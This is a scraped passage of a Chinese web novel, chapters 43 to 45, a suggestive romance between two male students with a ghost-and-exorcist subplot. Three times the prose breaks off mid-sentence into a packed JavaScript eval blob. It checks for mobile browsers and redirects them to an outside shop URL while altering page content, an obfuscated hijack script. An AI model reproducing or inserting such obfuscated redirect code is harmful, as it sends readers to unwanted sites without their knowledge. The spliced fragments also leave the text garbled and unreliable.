溪白看他身上还带着点热意,毛孔估计还没收缩,现在去洗澡的确容易着凉……目光悄悄旁移,落在男生身上,顾弛靠着椅背,手里拿着手机在给两人点外卖。 “你晚上想吃披萨吗?”顾弛问了一句。 溪白嗯了一声,“点个肉酱薄脆吧。” “行。” 目光继续向下,男生修长的双腿舒展着,经过一下午的鏖战,小腿上的肌肉此刻还没完全放松下来,显出非常漂亮有力的美感线条。 视线往下又往上,从左腿滑到右腿,最终转向…… 溪白脑袋轰的一声 二十多岁的男生……就是血气方刚。 43.第 43 章 “点好了。”顾弛将手机放到一旁。 抬起头的时候,他看到溪白正埋首在衣柜里翻箱倒柜。 翻找了一阵,溪白抱着卷成一大团的睡衣和浴巾回过头,他半张脸埋在衣物里。 “你不洗的话,那我先去洗了。” 他下午观赛的时候太激动也出了点薄汗,但并没有这么严重。 但溪白觉得自己现在可能不太适合继续留在这片空间里,所幸去洗个澡,冷静一下。 估计冲个10分钟的温水就差不多了,溪白估计了一下。 他这边思绪乱飞地思考着,避免去看顾弛。 而那边的顾弛则目光一直追着溪白不放。 他思考的问题和溪白不一样,顾弛想的是,吴项一开始出现,明显是冲着溪白去的,虽然后来因为庄算他哥哥的出现而让事情走向了一个始料未及的方向,但还是不能就此放松警惕。 关于溪白的事情,他容不了一丝疏忽。 顾弛眼底闪过一道精光,他看着抱着衣物往浴室走的溪白,在对方经过自己身旁时,悄悄把腿往外伸出一点。 顾弛动作隐蔽,溪白又被怀里的东西给挡住了视线。 他只觉得脚下被什么东西绊了一下,带着酡红的脸上显出几分惊慌。 “小心。” 正往地上摔的溪白被一只有力的手臂捞起,他整个人都撞进了顾弛怀里。 惊慌与加速的心跳声中,他感受到一只手掌轻轻按上了他的后腰,掌心上的几分力道,似乎将他往那个滚烫的怀抱里又按了几分。 “没受伤吧?” 那双干净的眼睛在这一刻被叫做担忧的情绪所填满,也将另一种名为心动的情愫,填满了溪白的心。 “我没事。”溪白摇头,身体轻轻动了一下。 动作带着他的腰侧似乎碰到了什么,滚烫而饱满,溪白一愣,方才偷看顾弛点餐时的记忆迅速闪回。 说起来,顾弛倒是很久没让自己帮他…… 等等! …… !!! “我先洗澡去了!” 他几乎是逃也似的进了浴室,把衣服一扒就拧开了水龙头。 温热的水流冲刷着脸庞,在此刻却显得温凉,溪白心说10分钟肯定不够。 估计得再多加10分钟。 不,20分钟吧。 而房间里,顾弛看了看自己的手,上面还残留着溪白的温度。 同时还有一缕细小的金光,在掌心之中灵活地跳动。 溪白冷静了后从浴室里出来,就换顾弛去洗澡了。 顾弛进浴室没多久,放桌面上的手机就响了,是他点的外卖。 溪白看了一眼阳台紧闭的浴室门,反正他速去速回,好像也没有必要刻意和顾弛说一句。 大部分学生考完试都回家了,宿舍楼下堆积的保温袋比往日里要少。 溪白找到披萨店的大袋子,清点了一下,提着袋子往回走。 “嘿,小漂亮!” 会这样叫他的只有一个人,溪白回过头的时候果然看到了庄术。 但在庄术身边还有一个他没有预料到的身影——不是庄算,而是吴项。 这两人怎么会一起出现在这里? 他们应该是下午才刚认识吧。 庄术朝溪白招了招手,“还没吃晚饭啊,点的啥呀?” 话音刚落,身旁的吴项就低头开口:“披萨。” 溪白说他们点的是披萨。 庄术走到溪白身旁,拍了拍他的肩头,“小蒜头被体育学院那个开屏男领走了,我和这个吴项小弟弟在聊天,顺便逛逛你们校园。” 溪白看了吴项一眼,这已经不是自己和他第一次见面。 但这一次和之前都不同,男生并没有再死死地盯着他说一些奇怪的话,或者说想要和他认识什么的,而是一直在看庄术。 这让溪白还挺安心的。 “对了。”庄术像是突然想起什么,“你和顾弛,就是下午和你火拼的那个男生认识吗?” 吴项冷哼了一声,“不认识。” “哦,那打完这场就认识了。”庄术依旧笑眯眯的。 在场的两人都看得出,吴项的“不认识”和顾弛的“不认识”是一样的。 都不是真的不认识,而是不对付。 所以犹豫了一下,溪白还是没问庄术他们要不要一起来吃。 “那我先回去了。”溪白摸了摸手里的食物,这家店虽然套了保温袋,但也顶不住北城一月晚上的冷意。 “嗯,拜拜。”庄术领着吴项离开,走出一段距离,他回过头又远远地挥了挥手。 溪白注意到他似乎别有深意地朝自己轻轻眨了一下眼睛,好像想要表达什么。 可惜,溪白没看明白。 反倒是吴项感受到了什么似的,他眼尾扫向拉开宿舍门的溪白。 一阵风吹起溪白睡衣的下摆,露出一截雪白的后腰。 只不过吴项看的并不是溪白的身体,而是在那如白绸缎一般细腻光滑的肌肤上,悄然浮现出来的一片金色的光印。 像是察觉到吴项的注视似的,那光印本还隐幽的金光立刻亮了几分,光线甚至有些刺眼,好似在威胁他别再盯着人看。 吴项嗤笑一声。 庄术:“怎么?” 吴项摇了摇头说没事,却又吐槽了一句。 “看到疯狗护食了。” ※ 溪白回到宿舍把外卖放桌上,刚把防风的外套脱了挂墙上,就听见阳台一阵乒铃乓啷响。 他眨了眨眼,看着从浴室里冲出来的顾弛,对方身上的睡衣都还有些没穿好,领口岔开着露出一片漂亮的胸肌。 发丝上的水珠滴滴答答地落下,顺着滑出饱满的弧度。 水迹向下没入幽深里,在被遮挡着的腹肌上缓缓地滚动。 未免有些太香·艳了。 默默脑补的溪白揉了揉发痒的鼻子,他默默移开视线。 “……你干嘛。” 顾弛一语未发,而是大步上前到了溪白身边。 这下溪白就有些炸毛了,他转头瞪着面前一身热腾腾水汽的男人,语气也干巴了一点。 “你,你干嘛!” 观察到溪白身上并没有什么不对,顾弛这才松了口气。 他刚刚在浴室里突然感受到无厢的气息进来,登时警铃大作,就直接冲出了浴室。 但现在看来,应该只是溪白在取外卖的时候沾染上的。 “没什么。”顾弛撒了个小谎,动作自然地伸手去拆外卖,“洗完澡肚子饿了。” “吃饭吧。”他朝溪白笑了笑。 溪白很想对顾弛说你先把衣服穿好。 不要一脸单纯地袒胸露肩还对着他笑! “衣服洗了吗?” “哦,还在浴室里。”顾弛的手微微一顿,他刚刚出来的时候太急了,只来得及套上睡衣。 “我拿了一起洗吧。”溪白将人按住,示意自己去就行,让顾弛留下把外卖摆出来。 他的脸现在有些太热,得出去吹风降降温。 只是一拉开门溪白就后知后觉地意识到,氤氲着水汽的浴室不仅比屋内更热,而且要帮顾弛拿他的衣服,就肯定包括了最贴身的那一条。 呆站在原地直到水汽散了大半,视野变得清晰。 溪白默默注视了一会墙面上挂着的黑色平角,闭上眼睛,有些艰难地吞咽了一下,脑海像是被水雾侵入了一样,也开始冒些迷糊的想法。 啊,脸好像比出来前还热。 应该提前想到的,啧。 顾弛这家伙的尺寸……真的看多少次都会被吓到。 不对,自己在想什么?! 溪白甩了甩头,把旖念赶到大脑的角落,重新抬头。 不过是洗个衣服,却拿出来了严阵以待的气势。 换做半年前溪白死也想不到,有着轻微洁癖的自己居然会碰另一个男生被汗浸湿了的衣服。 还有最贴身的裤子。 他先伸手把球服拿了下来,再隔着衣服,去拿顾弛的裤子。 但不得不说,顾弛还是很干净的。 溪白没闻到什么汗味,只有那熟悉的松木香气。 洗衣液有这么强的留香吗? 溪白伸手去够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但此时此刻,顾弛看着溪白后腰上自己的名字,看似无害而温暖的外表下潜藏的如巨型冰山一般的可怕侵·占·欲,像是大坝上凿开了一个小口的洪海一般,凶悍地倾泻了出来。 望着那个背影,顾弛眼底浮现出淡淡的猩红。 他抬脚朝浴室走了进去。 溪白好不容易把平角裤给拿了下来,紧绷在胸膛里的那口气终于吐了出来。 他拿着衣服往外走准备丢进洗衣机,但一抬起头,迎上的却是一片落下的巨大阴影。 “顾……”溪白抬起头,刚一开口,身体和话语便一并僵硬在半途。 喉咙吞咽了一下,汗水顺着颈侧滑落,溪白缓缓地低下头。 手上拿着的平角裤究竟贴身的是什么,在这一刻,终于再一次有了实感。 过往两次的记忆碎片连同着几乎能把溪白烧起来的体温,一鼓作气地冲晕了大脑。 他抬起头才发现,顾弛此刻的眼神和平日里的干净单纯似乎有些不一样了。 之前两次,溪白都没敢去看顾弛的眼睛。 原来那个时候的顾弛,眼神是这样的吗……溪白艰难地吞咽了一下。 男生朝他笑了笑,露出两颗尖尖的虎牙。 明明还是那种大狗一样的笑容,但此时此刻,溪白只觉得感受到一种让他意识发热的压迫。 顾弛盯着溪白,脑袋往旁边侧了一点,他缓缓低下头,整个人几乎都欺压到了溪白身上。 刚刚还只是被没有温度的影子笼罩着的溪白,此刻却是被滚烫炽热和气味一同禁锢住。 “溪白。” 溪白后脊骨都酥麻了,他下意识地仰起脸看着天花板上的灯,暖融融的光线似乎又蒙上了朦胧的雾影,刚刚通风后散去的水汽,好似在此刻又回来了。 在一片混沌之中,清晰地感觉到顾弛蹭了蹭,当然,也包括蹭了蹭他的脖子。 男生的咬字和语气跟往日不一样,声线更沉,带着温热的气息。 “溪白。” 他听见顾弛又喊了自己一声。 气息像是燃烧着的羽毛,酥痒地撩过耳畔,滚烫地燎得发红,顾弛贴得很近,几乎要咬着溪白的耳朵。 形状好看的薄唇咧开,露出虎牙的一个小尖。 顾弛朝着那漂亮而通红的小耳朵吐气。 “溪白。” “我要奖励。” 溪白下午答应的。 给他的奖励。 44.第 44 章 可能是太久没有帮助过顾弛了。 这次花在顾弛身上的时间比上一次要短一些,但洗干净手花的时间反倒更长了点。 用的洗手液也比之前的量要更多。 他的手掌被自己搓得发白,又被水冻得通红。 溪白屡次想要掬一捧冷水泼一泼自己的脸降温,但一想到他刚刚才抓过顾弛的,还是有些过不去心里那关。 怎么又和顾弛做那种事情了! 溪白闭了闭眼。 上一次结束后,他就下定决心在明确顾弛的心意,甚至在自己和对方正式在一起之前,都不会再让这种暧昧不清的事情重演了。 可刚刚被抱在怀里,被跟大型犬撒娇……还有发·情一般的顾弛黏着贴着蹭的时候,理智像是被那滚烫的胸膛融化了似的,溪白再一次沦陷了。 理智就像装在瓶里的水,只要破了个口子,结局就定是一滴不剩了。 到了后面,溪白脑海里剩下的就只有顾弛的呼吸声音,顾弛的体温,顾弛的触感,还有最后爆发过后,顾弛留下的…… 溪白一个激灵,回过神来看向一旁传来的声音源头。 顾弛拿了一沓纸巾出来,递到他的面前。 “擦擦……” 那双明显带着点还没消退的饕足的狗狗眼看了看溪白洗得干干净净的手,顾弛顿了一下。 “噢,洗干净了……没事,也能擦水。” 正准备接过纸巾的溪白:…… 原来不是让他擦手上的水的吗! 偏偏顾弛的语气正常自然得溪白无法出言去质疑,要是说出来了,反而他像别有心思的那一个似的。 不过……溪白轻轻咳嗽了两声,他确实别有心思。 两人坐一块开始吃外卖,溪白挑了部动漫放着。 但平时特别下饭的番剧,他今晚一个字也没看进去。 溪白拿了一片披萨塞进嘴里,没滋没味地吃着。 他转头看顾弛,顾弛也在看着他。 溪白揣着心思,拿披萨的时候也没注意口味,现在回过神咀嚼了两下,尝到一股甜甜的滋味。 拿过外卖小票看了一眼,他手上这片是顾弛点的,奶油蘑菇鸡口味的。 做的时候加了特制的白奶油汁,和蘑菇片、腌制过的鸡肉块以及碎芝士平铺在饼皮上。 溪白拿的那一块刚好是酱汁最多的,一口下去香气四溢,但同时也不免又几滴乳白的奶油汁从唇角溢出来。 唇瓣红润,奶油汁雪白,放在一起时本就让人心神摇荡,何况溪白的脸颊还有两团没消去的红晕。 导致这两团红晕出现的“罪魁祸首”,在脑海里又一次浮现。 顾弛盯着他看,手里的鸡翅也不啃了。 他莫名地就觉得嗓子有些发紧,另一只手腾出来在桌面上摸索了一阵,又抽了两张纸。 “擦擦……”顾弛语气干巴巴地说,“嘴角。” 溪白还以为东西沾脸上了,“噢,好。” 溪白接过了纸,顾弛转头就拿过旁边的可乐吸了一口。 冰凉混合着气泡的液体浸润了喉咙,顾弛的嗓音稍微没有那么哑了。 他把面前的肉酱披萨往溪白面前推了推,显得很乖。 “你要的口味。” “我把这个吃完。”溪白举了一下手里剩下的半块奶油蘑菇鸡披萨,回答。 而当溪白把剩下那半块多汁的披萨吃得干干净净,用纸巾把顺着指尖流下来的奶油汁擦干净的时候,他听到了旁边传来的吸管声。 顾弛放下可乐。 “就喝完了?”溪白一愣。 顾弛点头。 溪白把自己那罐推了过去,“你喝吧,我不怎么爱喝汽水。” 顾弛想了想,没拒绝。 溪白擦干净手,又用手背蹭了蹭嘴角。 他用手掌半掩着唇,但更多的,是想藏住自己的表情。 可心思再深也会从眼睛里流露出来,溪白开口的时候,眼底倒映着宿舍天花板的灯影都轻轻晃了一下。 “顾弛。” 顾弛立刻看了过来。 他咬着吸管,管口上都被啃出来了几个清晰的牙印,望着溪白的眼睛,顾弛的瞳孔也轻轻地颤了一下。 “……怎么了?” 顾弛心里漏掉一拍。 溪白不会听到他刚刚在想什么了吧? ……不会吓到他吧。 毕竟从第一次见面,他的心理活动就被溪白读了个一干二净。 顾弛觉得自己在面对一场悬而未决的审判,紧张悄然爬满了心头。 他等待着溪白要说的话,盯着那让他刚刚心跳加速,心生旖旎的唇瓣。 顾弛嘴角抿了抿,就见那唇瓣一张一合。 “我们两个刚刚做那种事情,你是怎么看待的啊?” 溪白说出的话和顾弛想的完全不同。 他一愣,“那种事情?” 哪种事情? 溪白哽了一下,不知道该怎么说。 沉默良久,他几乎是明示一般地暗示道:“浴室……” “哦!”顾弛一听溪白并不是读到了他那不堪入耳的心声,立刻松了一口气,导致潜意识里的想法直接就脱口而出,“我觉得,很舒服啊。” “很……” 溪白嘴角抽搐了几下。 闭上眼睛深深吸了一口气。 他觉得自己现在比刚刚顾弛问他“哪种事情”的那一下还要哽。 这家伙真的…… 溪白几乎是放弃了,他算是确定了,顾弛这家伙的脑回路和正常人就是完全不一样。 罢了,反正也不是第一次了。 溪白摆了摆手,“算了。” 但他避让的态度被顾弛看了个清楚。 “怎么了吗?”顾弛追问,觉得溪白的心情不太对劲。 见溪白只是摇头避而不谈,顾弛更着急了。 他想让溪白别躲看着自己,但伸出的手在半空之中停住了。 “溪白。” 顾弛的声线和刚刚又有些不一样了,这一次他喊溪白名字的时候,语气里明显带上了一丝……羞涩。 溪白背对着眨了眨眼,心说自己应该没听错吧,顾弛刚刚的语气就是在害羞? 于是他转过头。 不出所料的,顾弛的脸向旁边撇开看着地面,他甚至手指还戳着脸颊轻轻搔了搔。 顾弛真的在害羞! 面前的男生顶着两只通红的耳朵不敢和他对视的样子,和平日里那种一脸单纯地说出让人心跳加速的话语的顾弛可以说是大相径庭。 所以顾弛在羞什么? 溪白脑海里刚冒出这个问题,顾弛就直接给了他答案。 “那要不……我也帮你一下?” 怕溪白不知道他说的是什么似的,顾弛还补充了一句。 “真的挺舒服的。” 溪白脑袋里轰一声,又炸了。 ※ 夜半时分,一道黑影穿过层层叠叠的树影,枯林之间响起一声刺耳的鸦叫。 山上弥漫着淡淡的雾气,顾弛的身影停在一片相对空旷的林地上,高悬的残月洒下一片银华,披了满肩。 他阖眼,道:“出来吧。” 随着他的声音落下,一道瘦长的身影自交错的雾霭与树丛之间走出。 吴项冷笑一声,“我还以为你不来了呢。” “背了一身罪业,头悬地府文书,判了千年地狱刑罚的可不是我。”顾弛反唇相讥,瞳孔在说话之间已经变为了猩红的竖线,杀机尽显,“就算有不敢露面的,也应该是你吧。” 吴项啧了一声,“这么多年了,你还是这样的木头脑袋,根本不知道我在说什么。” 他看着顾弛,开口嘲笑道:“那个叫溪白的人类跟着你不会天天吃素吧。” “我们晚上吃了肉。”顾弛傲然道。 吃的还是披萨呢。 无厢在地狱里受罚上千年,肯定没吃过这样的好东西。 无厢:…… 服了这傻子。 “算了,懒得和你这不开窍的说。”无厢摆了摆手换了个话题,“和你商量个事。” 顾弛皱眉看他。 无厢咳嗽了两声,表情似乎有些难为情。 他看着一旁,开口说:“那什么,我决定行善赎罪。” 顾弛一愣,“什么?” 他又问了一遍,还以为自己听错了 无厢啧了一声,骂道:“你装什么耳聋,肯定听到了!” 顾弛的确是听到了,只不过是不敢相信对方会说出这种话。 他上下打量了无厢一眼,眼里的杀意消散了几分,像是松了口气。 “你确定?” 世间恶鬼何止千万,小恶不少,大恶不多,绝大多数的鬼都在地府宣判罪行之后罚下各种地狱偿还自己生前身后的罪业了。 但也有少部分比如无厢这样实力超群的大鬼,自上古时期便在世间横行游走。 而这样的鬼与其让它们单纯受尽刑罚,不如好好对他们的力量加以使用。 于是,千万年前的第一代地府掌权者就下了一则枢令,如若大鬼肯行善赎罪,可以免去在地狱之中受苦的过程,以善行积攒功德,抵消自己的罪孽。 比如地府里很多菩萨、鬼王麾下的坐骑,就是被类似状况收服的上古异兽。 当然也有些大鬼对此不屑一顾的,比如面前的无厢。 无厢的态度就是鬼吃人天经地义,他在世间横行嚣张多年,怎可能卑躬屈膝地去帮助人类。 在与顾弛一战败北后,无厢依旧没有悔过之意,因此顾弛就按照条文历法里的规定,将无厢镇压在了鬼牢之下,距今已有千年。 谁能想这家伙今天却突然转性了。 顾弛想到下午在比赛上半场无厢输掉的关键一球,顿时明白过来,笑了一声。 “笑什么!”无厢恼羞成怒,咬牙切齿,“这你反应倒是够快啊?” 他下午看到庄术,就像是着了魔一样。 无厢千年前手里染了不少鲜血,仙魔人神皆有,但他从来没有像今天下午遇到庄算时的那种感觉。 那是一种很奇妙的感触,他形容不出来。 但心中却萌生了一个想法:他想要光明正大地站在庄术身边。 顾弛道:“也不知道谁下午说喜欢人类丢脸的。” 无厢骂骂咧咧:“行,你不丢脸,那怎么不见你把那个人类追到手!” 顾弛满不在乎,他可是把溪白哄睡了才出来的。 他们晚上还……咳。 顾弛轻轻咳了一声,借着夜色挡住了脸上的红晕。 虽然没想到对方变化得如此突兀和迅速,但总的来说,这也是一件好事。 如果无厢真的不再害人,那溪白便安全了。 这是顾弛最在乎的事情。 最怕无厢和千年前一般疯狂且毫无牵挂,唯一的念头就是破坏和毁灭世界,而他又注意到了自己和溪白的关系——这才是最危险的。 这也是为什么之前每一次在溪白身上察觉到无厢留下的气息,顾弛会如此地担心。 不过无厢会主动找他说想要改过赎罪,思考一下倒是不意外。 如果不这样的话,地府的千万阴兵鬼将会无穷无尽地一直抓捕,即使无厢可以换皮囊,改身份,但也永远不得安宁。 一个心里装了爱情的鬼,和以往必然是不一样的。 他看了一眼那头抱着胳膊靠在树旁的无厢,往后退了几步,顾弛指了指自己刚刚站过的地方,“你确定的话,就快点过来吧。” 他还要赶回去陪溪白睡觉呢。 在说完这句话过后,从刚刚开始脸上都是一脸桀骜之色的无厢,终于流露出了几分掩藏不善的挣扎。 他盯着顾弛手指的地方看了一会,抬脚迈步。 无厢咬着后槽牙,脸侧都因为过度用力鼓起来一块,脚步异常的沉重。 直到站到顾弛所指的地方,他感觉天空中洒落的月光,在这一刻都集中在了自己的身上。 这段时间里,顾弛一直闭着眼睛,口中低声念着古老的咒语。 无厢站在原地,盯着地面,又盯着那边的顾弛,他抬起一只手看了看自己的掌心,只觉得头顶落下来的月光越来越亮。 本就没什么血色的手掌被映得愈发惨白,直到顾弛睁开眼的那一刻,无厢的瞳孔因为过度的惊惧,都收缩成了一个小点。 他后悔了。 “我不……” 下一刻,无厢的脚底光芒大作,天空中落下了一轮月环,在无厢脚边四周的地上砸出一圈亮眼的银光。 银光闪烁之间,无数难以辨识的古老文字缓缓浮起,像是灵动的游鱼,绕着无厢的身体一路旋转向上,并不断向内收缩。 光环之中的无厢仿佛经历着巨大的痛苦,目眦欲裂,属于人类的躯体承受不住过大的压力,浑身四处开始皲裂,溢出淋漓的鲜血。 他的耳朵里听见了无数道声音,层层叠叠,像是蜂鸣,又像是雷霆。 “啊啊……” 无厢失控地发出凄厉的惨叫,他想用手去撑开那光环,但手指穿过光影,却无法做出一丝阻挠。 直到最后光环收缩成碗口大小,箍在了他的颈项。 无厢跪倒在地,他大口地呼吸着,像是刚刚死过一回。 而刚刚的光环也已经化作一圈鲜红色的古咒文字,像是纹身一般,刺进了无厢的皮肉之中。 既然是大鬼,想要离开鬼牢,即使是去行善事,地府也必然要对其有所监控。 那咒印便是初代鬼王所创造的咒法,是对这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701296|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大鬼的束缚,也是计算他们功德累积的地方。 “随着你积攒的功德变多,咒印上的血字会逐渐变成金色,等什么时候一整圈都是金色的字了,你的罪孽也就赎完了。” “当然,如果你有害人之心……”顾弛神色一冷。 那血字便会直接炸开,将他的魂魄彻底撕碎。 这也是地府对于这些宣城要“行善改过”的大鬼们设定的最直接,也是最有效的一道枷禁。 “行了,以后离溪白远一点,在人间赎罪吧。” 顾弛施法结束,转身,像是想起来了什么,又开口。 “对了,告诉你一件事。” 无厢一只手掐着自己的脖子,想要自己制造疼痛,来缓解那咒语烙印带来的过分的痛苦。 闻言他抬起头,恶狠狠地看着顾弛。 “人类是不会对鬼动心的。” 无厢一愣,他看着顾弛的背影,发现对方的语气似乎变了。 “那你和……” 顾弛看着远处宿舍的方向,叹息而好笑地吐出一口气。 “行。”无厢手掌撑着地面,缓缓站了起来。 他明白了。 黑光划过天际,宿舍里的“顾弛”睁开了眼睛。 他撑着枕头半坐了起来,低头看向自己怀中。 溪白应该是真的累了,睡得比以往还要熟,似乎是顾弛起身的时候被打扰到了,他不爽地哼哼了两声,一只手乱摸索着,抓住了顾弛的胳膊。 明显小两号的白皙手掌捏了两下手臂上的肌肉,发泄过不满,溪白又睡了过去。 顾弛眼里浮现出的温柔与爱意,将刚刚从外面带回来的冰冷和杀意都清理了个干干净净。 眼珠又变回了温暖的浅褐色,顾弛抬起手,拇指轻轻蹭了蹭溪白的脸。 “溪白……”顾弛轻轻地叹了一声。 什么时候,他才能将自己真正的模样,展现给心上人看呢。 期末考完还有几堂趣味性的讲座课,溪白提着早餐到了课室,选了个前排的位置坐下,给庄算拍了张照片发过去。 [White:坐这里【图片】] [神算子:别,今天选个后排!] [神算子:三个位置!] 三个? 溪白疑惑,平时他和庄算上课基本都是坐前排,人少而且不用占位,基本就他们两个。 今天是怎么了? 在诸多早早来占后排刷学时的同学之间穿行了一阵,溪白终于找到了三个空着的连坐。 又给庄算发了张照片,溪白开始拿着早餐边啃边漫无目的地刷消息。 [顾:到教室了吗?] 溪白放下手里的糯米鸡,抽了张纸擦擦嘴。 [White:到了] 犹豫了一下,他又发了条消息。 [White:怎么啦?] [顾:没事] [顾:只是问问,想和你说话] 溪白耳朵红了一点。 [顾:早上你起来都没叫我,自己就走了] 溪白:! 身后传来一声呼唤。 “溪宝!” 溪白手忙脚乱地将手机往桌面上一盖,转头打招呼。 “小蒜头……诶?” 庄算身旁,庄术正笑眯眯地招手,“早啊小漂亮,你耳朵怎么这么红啊?” “诶,对噢。”庄算闻言,也好奇地观察了起来,“好红啊,是冻坏了吗,还是怎么了。” “没,就是刚刚搓了一下。”溪白找了个借口给自己开脱。 他起身给两人让出了位置,庄术和庄算侧着身子往位置里面走的时候,溪白又看了一眼消息,快速敲字回复。 [White:早上走得急] [White:【大狗奔跑】] [White:我先上课啦] 顾弛的消息回得很快,像是专门捧着手机蹲他的回复似的。 [顾:嗯] [顾:【大狗蹭蹭】] 溪白耳朵又是一烫,指尖点上那个被一只手掌摸着头顶,眯着眼睛蹭个不停的雪白大狗表情包。 他也好想这样摸摸顾弛的脑袋。 庄术和庄算坐下了,溪白也赶紧入座。 两兄弟是踩着点来教室的,没多久上课铃就打响了。 老师在前排授课,后排的学生们各有各的忙碌,溪白压低声音。 “庄大哥,你今天怎么也来了?” 庄术一笑,伸手指了指溪白,“那当然是因为你了!” 溪白抬手指了指自己。 “我?” 庄术一挑眉,拿出手机打开了一个音频,让庄算递给了溪白。 “记得戴耳机。” 溪白翻出蓝牙耳机,戴在背对着老师讲台的那一边。 他看了一眼音频的文件名,就是默认的,没什么信息。 调到合适的音量和降噪模式,溪白点击了播放,很快,他就听到了一阵脚步声。 录音的音质听起来有点蒙着的质感,应该是把手机放在口袋里偷偷录的,很快,溪白就证实了自己的猜想。 他听见了两个人的说话声,听起来有点距离。 声音的主人一个是庄术。 而另一个辨认了一下,溪白讶异:好像是吴项? 庄术颔首,表示溪白猜的没错。 他指了指手机,示意溪白先听完,“有什么问题最后一起问。” 溪白点头。 他听了一下,庄术和吴项应该是在学校里散步,大概是在人工湖那边,全程基本都是庄术在问,而吴项却甚少说话。 “诶这个湖上的雕像是什么时候的呀?” “……” “你们宿舍区是在那边吗?” “嗯,好像……” “你们图书馆开到几点来着,我都还没去过,能带我去吗?” “呃……” 脚步声明显停顿了下来,溪白听见庄术似是无害地笑问了一句。 “你怎么什么都不知道呀,我还以为你不是这个学校的学生呢。” 吴项那边陷入了明显的沉默,但很快,庄术又开口替他解了围。 “哦我知道了!你刚转学过来,还不熟,是不是?” 吴项闷闷地嗯了一声。 脚步声重新响了起来,进度条也走到了后半段,吴项似乎要比之前更加沉默,庄术在絮絮叨叨,他也只是发出单音节回应。 “哦对。”庄术又一次开口,“我记得顾弛也是转学生吧,感觉你们两个还挺熟?” “没有。”吴项依旧否定得干脆利落。 庄术却像是没听进去似的,自顾自地继续道:“说起来,顾弛他……” “他是人。” 这是吴项的声音。 45.第 45 章 “什么?”庄术的语气明显上挑了一点。 吴项再度陷入沉默,良久,他道:“他是体育学院的人,我和他不熟。” “哦!这样。” 庄术又笑了笑,溪白听见了手掌拍肩膀的声音。 “别紧张,我和溪白很熟,顾弛又是他的室友,随口一问罢了。” “对了,你还不知道我是做什么的吧?” “我是一个天师,你看,这是我家的罗盘……” 录音到这里就结束了,溪白呆呆地静坐了一会儿。 他转头想要问什么,但话到嘴边,却又什么都说不出来。 庄算帮忙把手机递了回去。 庄术言简意赅地道:“我用罗盘试了。” “结果怎么样?”庄算问得比溪白还着急。 庄术耸了耸肩,“没反应。” 虽然是个令人安心的答案,但溪白的心情并没有比刚刚放松多少。 顾弛和吴项应该是早就认识,而且明显不对付,但是两个人却一直拙劣地扮演着陌生人。 背后究竟还藏着什么呢? “我也只是单纯好奇。”庄术见溪白神色游移,明显心神不宁的样子,出言安慰道,“反正你能听见顾弛的想法,也不怕他有什么异动。” “况且就像我说的,他就算真要对你下手,应该早就有的是机会了。” 溪白眼神轻轻闪动了一下,他缓缓地眨了眨眼。 “唔。” 见溪白神色渐缓,庄术又笑道:“况且,以我的想法来说,人鬼相恋——当然,不是说顾弛一定就是了——也并不是什么不可接受的事情。” 溪白微怔,有些不敢置信地看着庄术。 庄家是天师世家,杀鬼之心不应该比普通人更重吗,怎么…… “谁说的,我们庄家老祖的婚配,就是鬼啊。”庄术一笑,直接丢了个惊天大爆·炸的八卦。 他简要给两个睁圆了眼睛呆若木鸡的小辈讲述了一下庄家老祖的风流情史,最后慢悠悠地总结道。 “既然是天师,吃的就是阴间饭,和鬼神接触的机会自然也要比常人多得多。” 那这种情况下,和鬼生出不同情愫的概率,也比普通人更大。 “鬼也分好鬼和坏鬼。”庄术对溪白说道,“你接触的鬼应该也不少了,心中应该明白。” 溪白点头,从他能听见鬼的心声开始,他才发现鬼的世界和人类一样,有好人就有坏人,那有坏鬼,自然也就有好鬼。 有的鬼会在学校里帮助学生找到丢失的东西,但把东西弄丢的,可能就是妒忌物主成就的“好友”。 有的鬼不小心吓到路人,其实只是童心未泯,想要找个玩伴。 人的世界都有无数张面具,而鬼的世界同样也是如此。 “语气纠结鬼的身份,不如专心地判断一下:面前的那个’他’,究竟是不是一个值得你托付真心的家伙”,庄术笑了笑,道,“我不敢说自己多厉害,但看过的例子肯定比你们多得多。” “和错误的人在一起,或许比遇到鬼,还要可怕。” 一直到下课,走在回宿舍的路上。 溪白都没有再说过什么话。 在教学楼门口,庄算看着一直出神往前走,甚至没发现已经和自己拉开了老长一段距离的溪白的背影。 他想要上前把人拉住安抚一番,但却被庄术伸手一把揪住了耳朵。 “诶哥哥哥,疼啊!!” 庄算不满地看着亲哥。 “哥你干嘛啊!” “我还想问你要干吗呢。”庄术点了点弟弟的脑门,“你要冲上去和溪白说什么?” 庄算开口,“我!我……” 他还真不知道该和溪白说什么。 “该说的话,我刚刚都说过了。”庄术放开了弟弟的耳朵,道,“剩下的,就让溪白自己去想清楚吧。” 不管和顾弛的感情结果如何,溪白都必须把心里面这一关过了。 否则就算他真的和顾弛在一起了,这也将永远是心里的一根刺。 溪白低着头在校道上往回走,目光追寻着地面上散落的石子。 直至看到一双站定在原地的长腿。 溪白的视线缓缓上移。 他看到那让他思绪不宁了一整个早上的人,就站在他们宿舍楼下的大门前。 早在他抬起头的很久很久之前,顾弛应该就已经在望着自己了。 溪白道:“你怎么下来了。” “拿外卖。”顾弛把手里的袋子提高了点,“你最喜欢的本帮菜。” “噢。”溪白点了点头。 “还有。”顾弛上前两步,走到溪白身边。 淡淡的松木香气袭来,溪白混沌了一早上的大脑,在这一刻好似清醒了些许。 他抬起头的时候,看到顾弛正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 